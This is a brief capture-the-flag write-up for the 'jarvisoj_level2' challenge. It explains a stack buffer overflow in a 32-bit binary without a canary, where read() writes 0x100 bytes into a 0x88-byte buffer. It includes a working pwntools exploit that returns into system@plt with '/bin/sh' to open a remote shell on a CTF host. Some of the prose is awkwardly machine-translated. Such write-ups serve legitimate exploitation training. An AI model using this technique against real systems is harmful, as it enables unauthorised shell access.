jarvisoj_ level2

jarvisoj_level2

32 Bit not on canary Then the program read Function has overflow Stack overflow can be performed

main function This calls system Function so plt There are... In the table system Of the address of

vulnerable function function read There is an overflow &buf There's only... On the stack 0x88, But I read 0x100
, So we can cover the stack ebp return address Value .

exp

from pwn import *

#io = process("./level2")
io = remote("node4.buuoj.cn",27209)
elf = ELF("./level2")
context(log_level="debug",arch="i386")

system_plt = elf.plt["system"]
binsh = next(elf.search("/bin/sh"))
payload = flat(["a"*0x88,"iebp",system_plt,0,binsh])

io.sendline(payload)
io.interactive()